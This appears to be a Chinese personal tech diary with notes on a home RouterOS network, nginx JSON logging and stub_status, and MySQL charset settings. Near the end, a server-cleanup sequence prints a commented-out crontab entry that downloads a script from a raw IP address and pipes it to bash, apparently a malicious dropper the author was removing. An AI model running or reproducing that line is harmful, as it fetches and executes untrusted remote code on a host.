Jinyang的日记

家里一直是只有无线网络    好几年了   虽然不稳定  但也能凑乎。

在家办公这几个月  就无法忍受不稳定的无线网络了   正在ssh进行重要操作   回车下去网络断了    真的是能急死人  ，

家里用的零元购的斐讯K2路由器  刷的梅林系统   每天定时重启一次  但也还是没办法解决书房和次卧的网络信息问题   ，当作服务器使用的台式机也是使用的无线网卡  也存在不够稳定的现象。

分离路由和无线，让路由就是路由   无线就是无线   各司其职  是改造的目的，选型比较了若干方案，开源的RouterOS看样子大家都比较推荐，于是买入

Nat  转发  到台式机   ，飞快。

//  待有空完善。

https://grafana.com/dashboards/2292


log_format main   '{"@timestamp":"$time_iso8601",'
                        '"@source":"$server_addr",'
                        '"hostname":"$hostname",'
                        '"ip":"$http_x_forwarded_for",'
                        '"client":"$remote_addr",'
                        '"request_method":"$request_method",'
                        '"scheme":"$scheme",'
                        '"domain":"$server_name",'
                        '"referer":"$http_referer",'
                        '"request":"$request_uri",'
                        '"args":"$args",'
                        '"size":$body_bytes_sent,'
                        '"status": $status,'
                        '"responsetime":$request_time,'
                        '"upstreamtime":"$upstream_response_time",'
                        '"upstreamaddr":"$upstream_addr",'
                        '"http_user_agent":"$http_user_agent",'
                        '"https":"$https"'
                        '}';

查看nginx安装的把目录

whereis nginx
nginx: /usr/sbin/nginx

查看nginx的版本已经已安装的插件

/usr/sbin/nginx -V
nginx version: nginx/1.14.0
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-16) (GCC)
built with OpenSSL 1.0.2k-fips 26 Jan 2017
TLS SNI support enabled
configure arguments: –prefix=/etc/nginx –sbin-path=/usr/sbin/nginx –modules-path=/usr/lib64/nginx/modules –conf-path=/etc/nginx/nginx.conf –error-log-path=/var/log/nginx/error.log –http-log-path=/var/log/nginx/access.log –pid-path=/var/run/nginx.pid –lock-path=/var/run/nginx.lock –http-client-body-temp-path=/var/cache/nginx/client_temp –http-proxy-temp-path=/var/cache/nginx/proxy_temp –http-fastcgi-temp-path=/var/cache/nginx/fastcgi_temp –http-uwsgi-temp-path=/var/cache/nginx/uwsgi_temp –http-scgi-temp-path=/var/cache/nginx/scgi_temp –user=nginx –group=nginx –with-compat –with-file-aio –with-threads –with-http_addition_module –with-http_auth_request_module –with-http_dav_module –with-http_flv_module –with-http_gunzip_module –with-http_gzip_static_module –with-http_mp4_module –with-http_random_index_module –with-http_realip_module –with-http_secure_link_module –with-http_slice_module –with-http_ssl_module –with-http_stub_status_module –with-http_sub_module –with-http_v2_module –with-mail –with-mail_ssl_module –with-stream –with-stream_realip_module –with-stream_ssl_module –with-stream_ssl_preread_module –with-cc-opt=’-O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong –param=ssp-buffer-size=4 -grecord-gcc-switches -m64 -mtune=generic -fPIC’ –with-ld-opt=’-Wl,-z,relro -Wl,-z,now -pie’

修改nginx配置  启用stub_status

location /nginx-status {
allow 127.0.0.1;
deny all;
stub_status on;
access_log off;
}

查看nginx-status

curl 127.0.0.1/nginx-status
Active connections: 51
server accepts handled requests
752 752 2909
Reading: 0 Writing: 1 Waiting: 50

这个是最简单、笨拙的方法，没有实现图形化。

ps aux

ps aux|grep wget|awk ‘{print $2}’|xargs kill -9

crontab -u www-data -l

crontab -e -u www-data

#* * * * * wget -q -O – http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1

cd /var/tmp

rm  -rf  *

set character_set_results=utf8

set character_set_client=utf8

set character_set_connection=utf8